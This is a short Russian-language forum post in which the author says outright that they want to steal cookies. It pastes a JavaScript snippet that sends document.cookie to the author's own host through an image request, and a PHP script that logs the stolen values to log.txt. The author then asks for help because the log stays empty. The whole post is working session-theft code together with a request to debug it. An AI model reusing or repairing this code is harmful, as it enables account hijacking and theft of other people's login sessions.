так решил я значит красть куки нашёл такой вот скриптик <html> <script> img=new Image(); img.src='адрес моего хоста?'+document.cookie; </script> </html> адрес моего хоста я спец. изменил сохранил в html это то, что ворует куки и вот такой: <? $uid=urldecode($_SERVER['QUERY_STRING']); $fp=fopen("log.txt","a"); fputs($fp,"$uid\n"); fclose($fp); ?> это php, то, что лежит на хосте и принимает куки по итогу на хосте появляется требуемый фаил log.txt, в нём появляются доп. строки, увеличивается его размер но он остаётся пустым очень нужна помощь читать буду завтра можно в лс